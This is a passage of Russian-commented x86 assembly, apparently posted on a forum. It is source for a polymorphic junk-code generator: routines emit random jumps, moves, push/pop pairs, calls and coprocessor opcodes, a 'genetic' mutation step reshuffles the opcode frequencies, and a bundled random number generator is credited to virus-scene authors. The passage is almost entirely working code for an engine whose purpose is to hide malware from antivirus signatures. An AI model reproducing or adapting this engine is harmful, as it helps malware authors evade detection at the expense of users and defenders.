inc [ebp+__generation] ; Увеличиваем счётчик ; поколений cmp [ebp+__generation],10 ; Если это не 10 поколение, jne __ne__ ; то идём на выход mov [ebp+__generation],0 ; Сбрасываем счётчик ; поколений call gen_mutation ; Вызываем изменение 1 случ. ; мат. ожидания mov [ebp+__cross1],ecx ; Выбираем 1 опр. фактор ; эволюции call gen_mutation ; Вызываем изменение 2 случ. ; мат. ожидания mov [ebp+__cross2],ecx ; Выбираем 2 опр. фактор ; эволюции __ne__: mov ecx,[ebp+__cross1] ; Производим селекцию 1 опр. call gen_crossover ; фактора эволюции mov ecx,[ebp+__cross1] ; Производим селекцию 2 опр. call gen_crossover ; фактора эволюции pop eax ; pop ebx ; pop ebp ; pop esi ; Восстанавливаем регистры pop ecx ; pop edx ; ret ; Возврат из подпрограммы ;----[Подпрограмма выбора стат. вероятностей]------------------------------; __freq__: push eax ; Сохраняем eax в стэке lea esi,[ebp+__freq_table] ; Загружаем указатель на add esi,eax ; таблицу с мат. ожиданиями lodsw ; Загружаем в ax мат. ; ожидание mov edx,eax ; Переносим её в edx mov eax,1001 ; Генеририуем случайное call brandom32 ; число в интервале 0..1000 cmp edx,eax ; Проверяем попали ли мы? jge __exit__ ; Если попали, то на выход mov 4 ptr [esp],0 ; Нет обнулим верхушку ; стэка __exit__: pop eax ; Восстанавливаем eax из ; стэка ret ; Возврат из подпрограммы ;----[Подпрограмма изменения мат. ожидания]--------------------------------; gen_mutation: mov eax,21 ; Выбираем случайным образом call brandom32 ; вариант генерации мусорных ; инструкций shl eax,1 ; Умножаем eax на 2 lea esi,[ebp+__freq_table] ; В esi смещение на таблицу ; мат. ожиданий опкодов add esi,eax ; к esi добавляем eax xor eax,eax ; Обнуляем eax lodsw ; В ax загружаем мат. ; ожидание call brandom32 ; Генерируем СЧ в диапазоне sub esi,2 ; 0..мат.ожидание-1 и ; уменьшаем esi на 2 sub 2 ptr [esi],ax ; Вычитаем из мат. ожидания ; Наше случаное число push eax ; Сохраняем в стэке СЧ mov eax,21 ; Выбираем случайным образом call brandom32 ; вариант генерации мусорных ; инструкций shl eax,1 ; Умножаем eax на 2 mov ecx,eax ; lea esi,[ebp+__freq_table] ; В esi смещение на таблицу ; мат. ожиданий опкодов add esi,eax ; к esi добавляем eax pop eax ; Восстанавливаем из стэка ; СЧ add 2 ptr [esi],ax ; И добавляем его к другому ; Мат. ожиданию ret ; Возврат из подпрограммы ;----[Подпрограмма селекции опр. фактора эволюции]-------------------------; gen_crossover: mov eax,21 ; Выбираем случайным образом call brandom32 ; вариант генерации мусорных ; инструкций shl eax,1 ; Умножаем eax на 2 lea esi,[ebp+__freq_table] ; В esi смещение на таблицу ; мат. ожиданий опкодов add esi,eax ; к esi добавляем eax xor eax,eax ; Обнуляем eax lodsw ; В ax загружаем мат. ; ожидание call brandom32 ; Генерируем СЧ в диапазоне sub esi,2 ; 0..мат.ожидание-1 и ; уменьшаем esi на 2 sub 2 ptr [esi],ax ; Вычитаем из мат. ожидания ; Наше случаное число push eax ; Сохраняем в стэке СЧ lea esi,[ebp+__freq_table] ; В esi смещение на таблицу ; мат. ожиданий опкодов add esi,ecx ; к esi добавляем eax pop eax ; Восстанавливаем из стэка ; СЧ add 2 ptr [esi],ax ; И добавляем его к другому ; Мат. ожиданию ret ; Возврат из подпрограммы ;----[Генерация инструкций JXX SHORT - 0x70..0x7f]-------------------------; __jxx_short: mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 push eax ; Сохраняем eax в стэке add eax,2 ; Добавляем длину перехода cmp eax,ecx ; Проверяем не больше ли ; длины ; Всех инструкций pop eax ; Восстанавливаем из стэка ; eax jle __gen1__ ; Если число превышает длину ret ; то выходим из подпрограммы __gen1__: ; push eax ; Кладём eax опять в стэк mov eax,10 ; Выбираем случайным образом call brandom32 ; число от 0..9 add al,70h ; Добавляем 70h stosb ; и кладём его в буфер pop eax ; Вынимаем из стэка eax и stosb ; кладём в буфер mov edx,eax ; Кладём число в edx push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx ; В итоге у нас получается ; случайно выбранный, ; условный переход: ; ......................... ; jae next ; mov eax,0 ; next: nop ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 sub ecx,edx ; И на длину перехода ret ; Возврат из подпрограммы ;----[Генерация инструкций NOT/NEG - 0xf7]---------------------------------; __not_r32: cmp cl,2 ; Если длина генерируемой jge __g1__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g1__: mov al,0f7h ; Помещаем в al - 0f7h stosb ; и кладём его в буфер mov dl,0d0h ; Помещаем в dl - 0d0h mov eax,2 ; Генерируем случайное число call brandom32 ; в диапазоне 0..1 shl eax,3 ; Умножаем его на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; и кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция NOT/NEG: ; ......................... ; not eax ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций JXX NEAR - 0x0f 0x80..0x0f 0x89]----------------; __jxx_near: mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 push eax ; Сохраняем его в стэке add eax,6 ; Добавляем длину перехода cmp eax,ecx ; Проверяем не больше длины ; Всех инструкций pop eax ; Восстанавливаем eax из ; стэка jle __gen2__ ; Если число превышает длину ret ; то выходим из подпрограммы __gen2__: ; push eax ; Сохраняем в стэке eax mov al,0fh ; Помещаем в al - 0fh stosb ; и кладём его в буфер mov eax,10 ; Выбираем случайным образом call brandom32 ; число от 0..9 ; add al,80h ; Добавляем 80h stosb ; и кладём его в буфер pop eax ; Вынимаем из стэка eax stosd ; Помещаем его в буфер mov edx,eax ; Кладём в edx - eax push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx ; В итоге у нас получается ; случайно выбранный, ; условный, переход: ; ......................... ; je next ; push 0 ; next: push 64 ; ......................... sub ecx,6 ; Уменьшаем счётчик на 6 sub ecx,edx ; И на длину инструкций ; ret ; Возврат из подпрограммы ;----[Генерация инструкций сопроцессора - 0xdc]----------------------------; __x87: cmp cl,2 ; Если длина генерируемой jge __g2__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g2__: mov al,0dch ; Кладём в al - 0dch stosb ; И помещаем al в буфер mov eax,02fh ; Генерируем случайное число call brandom32 ; в интервале 0..2eh add al,0c0h ; Добавляем к числу 0c0h stosb ; и помещаем сумму в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция сопроцессора: ; ......................... ; fadd st(0),st ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций сравнения - 0x3a]-------------------------------; __cmp_r32_r32: cmp cl,2 ; Если длина генерируемой jge __g3__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g3__: mov dl,3ah ; Помещаем в dl - 03ah mov eax,3 ; Получаем случайное число call brandom32 ; в диапазоне 0..2 add al,dl ; Добавляем к al - dl stosb ; Затем помещаем al в буфер call rnd_reg ; Получаем случайный регистр shl eax,3 ; Умножаем eax на 8 add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в dl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция CMP: ; ......................... ; cmp eax,esp ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций XOR - 0x33]-------------------------------------; __xor_r32_r32: cmp cl,2 ; Если длина генерируемой jge __g4__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g4__: mov al,33h ; Помещаем в al - 33h stosb ; И затем кладём это в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в dl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция XOR: ; ......................... ; xor eax,esp ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций TEST - 0x84]------------------------------------; __test_r32_r32: cmp cl,2 ; Если длина генерируемой jge __g5__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g5__: mov dl,084h ; Помещаем в dl - 084h mov eax,2 ; Получаем случайное число call brandom32 ; в диапазоне 0..1 add al,dl ; Добавляем к al - dl stosb ; И затем кладём это в буфер call rnd_reg ; Вызываем подпрограмму ; получения случайного ; регистра add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в dl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция TEST: ; ......................... ; test eax,esp ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций MOV, XCHG - 0x87,0x89,0x8b]---------------------; __mov_r32_r32: cmp cl,2 ; Если длина генерируемой jge __g6__ ; инструкции меньше 2, то ret ; Возврат из подпрограммы __g6__: mov eax,3 ; Генерируем СЧ в call brandom32 ; диапазоне 0..2 test eax,eax ; Проверяем, как опкод мы jnz __ng1__ ; будем генерировать ; Если не 0, то 0x8b mov eax,10 ; Генерируем СЧ в call brandom32 ; диапазоне 0..9 test eax,eax ; Проверяем какой опкод мы jnz __ng2__ ; будем генерировать ; Если не 0, то 0x89 mov al,87h ; Будем генерировать 0x87 jmp __ag1__ ; Идём дальше __ng2__: mov al,89h ; Будем генерировать 0x89 jmp __ag1__ ; Идём дальше __ng1__: mov al,8bh ; Помещаем в al - 8bh __ag1__: stosb ; Потом помещаем al в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в dl - al call free_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция MOV, XCHG: ; ......................... ; mov eax,esp ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций PUSH/POP - 0x50..0x57;0x58..0x5f]---------------; __push_r32: mov eax,10 ; Генерируем СЧ в call brandom32 ; диапазоне 0..9 mov edx,eax ; Кладём его в edx add al,2 ; Доавляем к al - 2 cmp eax,ecx ; Если длина генерируемой jle __g7__ ; инструкции меньше 2 ; и длины мусора ,то ret ; Возврат из подпрограммы __g7__: call free_reg ; Получаем случайный регистр add al,50h ; Добавляем к al - 50h stosb ; Кладём al в буфер push ecx ; Сораняем ecx в стэке mov ecx,edx ; Генерируем серию call garbage ; мусорных инструкций pop ecx ; Вынимаем ecx из стэка call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 58h stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции PUSH/POP: ; ......................... ; push eax ; mov eax,2 ; pop ecx ; ......................... sub ecx,edx ; Уменьшаем счётчик на edx sub ecx,2 ; Уменьшаем счётчик на - 2 ret ; Возврат из подпрограммы ;----[Генерация инструкций MOV - 0x0b8]------------------------------------; __mov_r32_imm32: cmp cl,5 ; Если длина генерируемой jge __g8__ ; инструкции меньше 5, то ret ; Возврат из подпрограммы __g8__: ; call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,0b8h ; Добавляем к al - 0b8h stosb ; И кладём al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь eax = 0ffffffffh call brandom32 ; Генерируем случайное stosd ; число ; В итоге у нас получается ; случайно выбранная ; инструкции MOV: ; ......................... ; mov eax,12345678 ; ......................... sub ecx,5 ; Уменьшаем счётчик на 5 ret ; Возврат из подпрограммы ;----[Генерация инструкций JMP SHORT - 0xeb]-------------------------------; __jmp_short: cmp cl,2 ; Если длина генерируемой jg __g9__ ; инструкции меньше 2, то ret ; Воврат из подпрограммы __g9__: mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 push eax ; Сохраняем его в стэке add eax,2 ; Добавляем длину перехода cmp eax,ecx ; Проверяем не больше длины pop eax ; Восстанавливаем из стэка jle __gen3__ ; Если число превышает длину ret ; то выходим из подпрограммы __gen3__: ; push eax ; Сохраняем в стэке eax mov al,0ebh ; Кладём в al - 0ebh stosb ; И кладём al в буфер pop eax ; Восстанавливаем из стэка stosb ; Помещаем его в буфер mov edx,eax ; Кладём в edx - eax push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx ; В итоге у нас получается ; случайно выбранная ; инструкции JMP SHORT: ; ......................... ; jmp next ; mov ax,22 ; next: nop ; ......................... sub ecx,2 ; Уменьшаем счётчик на 2 sub ecx,edx ; И на длину инструкций ; ret ; Возврат из подпрограммы ;----[Генерация инструкций ADD - 0x81]-------------------------------------; __add_r32_imm32: cmp cl,6 ; Если длина генерируемой jge g10__ ; инструкции меньше 6, то ret ; Возврат из подпрограммы g10__: mov al,81h ; Кладём в al - 81h stosb ; И помещаем al в буфер mov eax,4 ; Получаем случайное число call brandom32 ; в диапазоне от 0..9 add al,0ch ; Добавляем к нему - 0ch shl al,4 ; Умножаем al на 16 mov dl,al ; Кладём в dl - al mov eax,2 ; Получаем случайное число call brandom32 ; в диапазоне от 0..1 shl al,3 ; Умножаем al на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И кладём al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь eax = 0ffffffffh call brandom32 ; Генерируем случайное stosd ; число и кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции ADD: ; ......................... ; add eax,12345678 ; ......................... sub ecx,6 ; Уменьшаем счётчик на 6 ret ; Возврат из подпрограммы ;----[Генерация инструкций LEA - 0x8d]-------------------------------------; __lea_r32_imm32: cmp cl,6 ; Если длина генерируемой jge __g11__ ; инструкции меньше 6, то ret ; Возврат из подпрограммы __g11__: mov al,8dh ; Кладём в al - 8dh stosb ; И помещаем al в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на - 8 add al,5 ; Добавляем к al - 5 stosb ; И кладём al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь eax = 0ffffffffh call brandom32 ; Генерируем случайное число stosd ; И кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции LEA: ; ......................... ; lea eax,[12345678] ; ......................... sub ecx,6 ; Уменьшаем счётчик на 6 ret ; Возврат из подпрограммы ;----[Генерация инструкций CALL NEAR - 0xe8]-------------------------------; __call_near: mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 mov edx,eax ; И кладём его в edx mov eax,50 ; Генерируем случайное число call brandom32 ; в диапазоне 0..49 push eax ; Сохраняем его в стэке add eax,11 ; Добавляем длину перехода add eax,edx ; Добавляем к eax - edx cmp eax,ecx ; Проверяем не больше длины pop eax ; Восстанавливаем из стэка jle __gen4__ ; Если число превышает ; длину, то ret ; Возврат из подпрограммы __gen4__: push edx ; Сохраняем в стэке edx push eax ; Сохраняем в стэке eax mov al,0e8h ; Кладём в al - 0e8h stosb ; И помещаем al в буфер mov eax,[esp] ; Восстанавливаем eax inc eax ; Увеличиваем eax на - 1 stosd ; Кладём eax в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь в eax - 0ffffffffh call brandom32 ; Генерируем СЧ и stosb ; Кладём его в буфер pop edx ; Вынимаем из стэка в edx push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx mov al,55h ; stosb ; Кладём в буфер 055h mov ax,0ec8bh ; stosw ; Кладём в буфер 0ec8bh push edx ; Кладём edx в стэк mov edx,[esp+4] ; Вынимаем из стэка в edx push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Генерируем рекурсивно call garbage ; мусор между переходом pop ecx ; Восстанавливаем ecx mov al,5dh ; Кладём в буфер 05dh stosb ; call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 58 stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция CALL NEAR: ; ......................... ; mov eax,12345678h ; call next ; add edx,34567h ; next: ; push ebp ; mov ebp,esp ; xor eax,edx ; pop ebp ; pop edx ; .......................... sub ecx,11 ; Уменьшаем счётчик на 11 pop edx ; Вынимаем из стэка в edx sub ecx,edx ; Уменьшаем на длину ; инструкций pop edx ; Вынимаем из стэка в edx sub ecx,edx ; Уменьшаем на длину ; инструкций ret ; Возврат из подпрограммы ;----[Генерация инструкций SHL - 0xc1]-------------------------------------; __shl_r32_imm8: cmp cl,3 ; Если длина генерируемой jge __g12__ ; инструкции меньше 3, то ret ; Возврат из подпрограммы __g12__: mov al,0c1h ; Кладём в al - 0c1h stosb ; И помещаем al в буфер mov eax,6 ; Генерируем случайное число call brandom32 ; в диапазоне 0..5 shl eax,3 ; Умножаем его на 8 add al,0c0h ; Добавляем к нему - 0c0h mov dl,al ; Помещаем в dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер mov eax,256 ; Генерируем случайное число call brandom32 ; в диапазоне 0..255 stosb ; И кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции SHL,ROL, ...: ; ......................... ; shl ebp,04 ; ......................... sub ecx,3 ; Уменьшаем счётчик на 3 ret ; Возврат из подпрограммы ;----[Генерация иструкций XADD - 0x0f 0x0a3 ...]---------------------------; __xadd_r32_r32: cmp cl,3 ; Если длина генерируемой jge __g13__ ; инструкции меньше 6, то ret ; Возврат из подпрограммы __g13__: mov al,0fh ; Кладём в al - 0fh stosb ; И помещаем al в буфер lea esi,[ebp+__3_byte_opcode]; Кладём в esi указатель на ; таблицу частей 3-х байтных ; инструкций mov eax,14 ; Генерируем случайное число call brandom32 ; в диапазоне 0..13 add esi,eax ; Прибавляем к esi - eax movsb ; Перемещаем байт в буфер mov dl,0c0h ; Кладём в dl - 0с0h call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции XADD,IMUL, ...: ; ......................... ; xadd eax,eax ; ......................... sub ecx,3 ; Уменьшаем счётчик на 3 ret ; Возврат из подпрограммы ;----[Генерация инструкций MOV - 0x66 0xb8..0xbf]--------------------------; __mov_r16_imm16: cmp cl,4 ; Если длина генерируемой jge __g14__ ; инструкции меньше 4, то ret ; Возврат из подпрограммы __g14__: mov al,066h ; Кладём в al - 066h stosb ; И помещаем al в буфер mov dl,0b8h ; Помещаем в dl - 0b8h call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь в eax - 0ffffffffh call brandom32 ; Генерируем СЧ stosw ; И помещаем его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции MOV: ; ......................... ; mov ax,3452 ; ......................... sub ecx,4 ; Уменьшаем счётчик на 4 ret ; Возврат из подпрограммы ;----[Генерация инструкций CMOVA - 0x0f 0x40..0x4f]------------------------; __cmova_r32_r32: cmp cl,3 ; Если длина генерируемой jge __g15__ ; инструкции меньше 6, то ret ; Возврат из подпрограммы __g15__: mov al,0fh ; Кладём в al - 0fh stosb ; И помещаем al в буфер mov eax,15 ; Генерируем случайное число call brandom32 ; в диапазоне 0..14 add al,40h ; Добавляем к al - 40h stosb ; И помещаем al в буфер call free_reg ; Берём случайный регистр shl eax,3 ; Умножаем его на 8 add al,0c0h ; Добавляем к нему - 0c0h mov dl,al ; Помещаем в dl - al call rnd_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции CMOVA: ; ......................... ; cmova eax,edx ; ......................... sub ecx,3 ; Уменьшаем счётчик на 3 ret ; Возврат из подпрограммы ;----[Генерация инструкций PUSH/POP - 0x6a, 0x0ff 0x0f0..0x0f7;0x58..0x5f]-; __push_r32_2: mov eax,10 ; Генерируем СЧ call brandom32 ; в диапазоне 0..9 mov edx,eax ; Кладём в edx - eax add al,3 ; Добавляем к al - 3 cmp eax,ecx ; Если длина генерируемых jle __g16__ ; инструкций меньше ,то ret ; Возврат из подпрограммы __g16__: mov eax,4 ; Генерируем СЧ call brandom32 ; в диапазоне 0..3 test eax,eax ; Если оно не равно 0, то jnz __ng3__ ; Переходим на метку __ng3__ mov al,6ah ; Кладём в al - 06ah stosb ; Помещаем al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь в eax - 0ffffffffh call brandom32 ; Генерируем СЧ stosb ; Кладём в буфер jmp __gen5__ ; Идём на генерацию мусора __ng3__: push edx ; Сохраняем в стэке edx mov al,0ffh ; Кладём в al - 0ffh stosb ; И помещаем al в буфер mov dl,0f0h ; Кладём в dl - 0f0h call free_reg ; Получаем свободный регистр add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер pop edx ; Вынимаем из стэка edx __gen5__: push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Кладём в ecx - edx call garbage ; Генериуем серию мусора pop ecx ; Восстанавливаем ecx из ; стэка call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 58h stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции PUSH/POP: ; ......................... ; push eax ; mov eax,2345 ; pop ecx ; ......................... sub ecx,edx ; Уменьшаем счётчик на edx sub ecx,3 ; Уменьшаем счётчик на 3 ret ; Возврат из подпрограммы Продолжение кода следует ниже:
Код: ;----[Генерация инструкций PUSH - 0x68,0x58..0x5f]-------------------------; __push_imm32: mov eax,10 ; Генерируем СЧ в call brandom32 ; диапазоне 0..9 mov edx,eax ; Помещаем в edx - eax add al,6 ; Добавляем к al - 6 cmp eax,ecx ; Если длина генерируемых jle __g17__ ; инструкций меньше, то ret ; Возврат из подпрограммы __g17__: mov al,68h ; Кладём в al - 68h stosb ; Помещаем al в буфер xor eax,eax ; Обнуляем eax dec eax ; Теперь в eax - 0ffffffffh call brandom32 ; Генерируем СЧ stosd ; Кладём его в буфер push ecx ; Сохраняем ecx в стэке mov ecx,edx ; Кладём в ecx - edx call garbage ; Генерируем серию мусора pop ecx ; Восстанавливаем ecx из ; стэка call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 58h stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции PUSH/POP: ; ......................... ; push eax ; add eax,42346 ; pop ecx ; ......................... sub ecx,edx ; Уменьшаем счётчик на edx sub ecx,6 ; Уменьшаем счётчик на 6 ret ; Возврат из подпрограммы ;----[Генерация однобайтовых инструкций - 0x40..0x4f;0x0f2;0x0f3...]-------; __one_byte: mov eax,3 ; Генерируем случайное число call brandom32 ; в диапазоне 0..2 cmp al,1 ; Если число = 1, то jne __not_inc_ ; генерируем инструкцию INC call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,40h ; Добавляем к al - 40h stosb ; Помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции INC: ; ......................... ; inc eax ; inc ebp ; ......................... jmp __q__ ; Идём на выход __not_inc_: cmp al,2 ; Если число = 2, то jne __not_dec_ ; Идём на выход call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,48h ; Добавляем к al - 48h stosb ; Помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции DEC: ; ......................... ; dec eax ; ......................... jmp __q__ ; Идём на выход __not_dec_: lea esi,[ebp+__1_byte_opcode]; Кладём в esi указатель на ; таблицу однобайтных ; инструкций mov eax,8 ; Генерируем случайное число call brandom32 ; в диапазоне 0..7 add esi,eax ; Прибавляем к esi - eax movsb ; Помещаем инструкцию ; из таблицы в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция из таблицы: ; ........................ ; cld ; nop __q__: ; ........................ dec ecx ; Уменьшаем ecx на единицу ret ; Возврат из подпрограммы ;----[Подпрограмма получающая случайный свободный регистр]-----------------; free_reg: ; Подпрограмма получения ; свободного регистра push edx ecx ; Сохраняем в стэке edx, ecx another: ; call rnd_reg ; bt ebx, eax ; Определяем используемый jc another ; случайный регистр pop ecx edx ; Восстанавливаем ecx, edx ret ; Возврат из подпрограммы ;----[Подпрограмма получающая случайный регистр]---------------------------; rnd_reg: ; Подпрограмма получения ; случайного регистра mov eax,8 ; Получаем случайное число call brandom32 ; в диапазоне 0..7 ret ; Возврат из подпрограммы ;----[Таблица смещений на подпрограммы]------------------------------------; mega_table: dw __x87 -__st__ ; dw __mov_r32_r32 -__st__ ; dw __push_r32 -__st__ ; dw __push_r32_2 -__st__ ; dw __push_imm32 -__st__ ; dw __shl_r32_imm8 -__st__ ; dw __cmp_r32_r32 -__st__ ; dw __xor_r32_r32 -__st__ ; dw __one_byte -__st__ ; dw __mov_r32_imm32 -__st__ ; dw __jxx_short -__st__ ; Таблица dw __jxx_near -__st__ ; относительных dw __add_r32_imm32 -__st__ ; смещений от метки dw __jmp_short -__st__ ; delta_offset dw __lea_r32_imm32 -__st__ ; dw __test_r32_r32 -__st__ ; dw __not_r32 -__st__ ; dw __xadd_r32_r32 -__st__ ; dw __mov_r16_imm16 -__st__ ; dw __cmova_r32_r32 -__st__ ; dw __call_near -__st__ ; ;----[Таблица однобайтовых опкодов]----------------------------------------; __1_byte_opcode: std ; cld ; Таблица однобайтовых nop ; инструкций clc ; stc ; cmc ; db 0f2h ; rep db 0f3h ; repnz ;----[Таблица трёхбайтовых опкодов]----------------------------------------; __3_byte_opcode: db 0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; Таблица трёхбайтовых db 0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; инструкций ;----[Таблица мат. ожиданий опкодов]---------------------------------------; __freq_table: dw 10 ; x87(0xdc) dw 209 ; mov r32,r32(0x8b) dw 107 ; push r32/pop r32(0x50) dw 147 ; push r32(0xff,0x6a) dw 32 ; push imm32(0x68) dw 6 ; ror/shl r32,imm8(0xc1) dw 5 ; cmp r32,r32(0x3ah) dw 43 ; xor r32,r32(0x33) dw 8 ; rep/repnz(0xf3) dw 22 ; mov r32,imm32(0xb8) dw 82 ; je short(0x70..0x7fh) dw 18 ; je near(0x0f) dw 78 ; add/or r32,imm32 ; (0x81..0x85) dw 30 ; jmp short(0xeb) dw 63 ; lea r32,imm32(0x8d) dw 1 ; test r32/r8,r32/r8 ; (0x84,0x85) dw 1 ; not/neg(0xf7) dw 23 ; xadd/imul r32,r32(0x0f) dw 6 ; mov r16,imm16(0x66) dw 13 ; cmova r32,r32(0x0f) dw 95 ; call near(0xe8) ;----[Количество поколений]------------------------------------------------; __generation dd 9 ;----[Наследственность]----------------------------------------------------; __cross1 dd 0 __cross2 dd 0 ;----[Определения регистров]-----------------------------------------------; _eax equ 00000001h ; _ecx equ 00000002h ; _edx equ 00000004h ; _ebx equ 00000008h ; _esp equ 00000010h ; Определения регистров _ebp equ 00000020h ; спасибо Z0MBiE :) _esi equ 00000040h ; _edi equ 00000080h ; ;--------------------------------------------------------------------------; ; ; ;----[Резать здесь]--------------------------------------------------------; Для работы данного движка необходима новая версия - ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА. Код: ;----[Резать здесь]--------------------------------------------------------; ; ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА V. 0.3 (x) 2004 СЛОН http://slon.wronger.com ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ; Интервал: [0..eax-1] ; ;--------------------------------------------------------------------------; ; Использование: call r_init ; ; mov eax,ГРАНИЦА ИНТЕРВАЛА ; ; call brandom32 ; ;--------------------------------------------------------------------------; ; Результат: число в интервале [0..ГРАНИЦА ИНТЕРВАЛА] ; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%; ;----[Подпрограмма инициализации генератора случайных чисел]---------------; r_init: push ebp eax edx ; Сохраняем в стэке ebp, ; eax, edx call __delta1_ ; __delta1_: pop ebp ; Получение дельта смещения sub ebp,offset __delta1_ ; db 0fh,031h ; Получаем случайное зерно mov rand_seed,eax ; pop edx eax ebp ; Восстанавливаем edx, ; eax, ebp ret ; Возврат из подпрограммы ;----[Подпрограмма генерации случаного чмсла в диапазоне]------------------; brandom32: ; Эта подпрограмма ; возвращает случайное число ; в диапазоне 0..eax-1 push edx ecx ebp ; Сохраняем в стэке edx, ; ecx, ebp call __delta2_ ; __delta2_: pop ebp ; Получение дельта смещения sub ebp,offset __delta2_ ; imul eax,eax,100 ; Умножаем eax на 100 push eax ; и сохраняем eax в стэке call random32 ; Вызываем подпрограмму 